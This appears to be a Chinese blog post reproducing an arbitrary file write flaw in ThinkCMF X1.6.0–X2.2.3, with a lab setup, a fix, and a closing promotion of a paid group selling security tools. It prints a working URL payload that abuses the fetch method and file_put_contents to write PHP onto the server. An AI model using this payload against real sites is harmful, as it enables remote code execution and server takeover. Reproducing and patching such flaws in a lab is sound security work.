ThinkCMF任意文件写入漏洞——漏洞复现

512 阅读1分钟

一、漏洞描述

ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2
ThinkCMF X2.2.3

二、漏洞原理

ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建。攻击者可利用此漏洞构造恶意的url,向服务器写入任意内容的文件,达到远程代码执行的目的。

三、环境搭建

下载ThinkCMF X2.2.0 链接:pan.baidu.com/s/1dEJJoU9?…

使用phpstudy搭建即可

四、漏洞复现

访问目标网站,如下图所示:
在这里插入图片描述
输入payload:payload:?a=fetch&templateFile=public/index&prefix=’’&content=file_put_contents(‘test.txt’,’<?php phpinfo(); ?>’)后回车
在这里插入图片描述
回车后页面空白如下图所示
在这里插入图片描述
成功上传文件,访问刚刚创建的文件
在这里插入图片描述

五、漏洞修复

将 HomebaseController.class.php 和 AdminbaseController.class.php 类中 display 和 fetch 函数的修饰符改为 protected。

更多web安全工具与存在漏洞的网站搭建源码,收集整理在知识星球。
在这里插入图片描述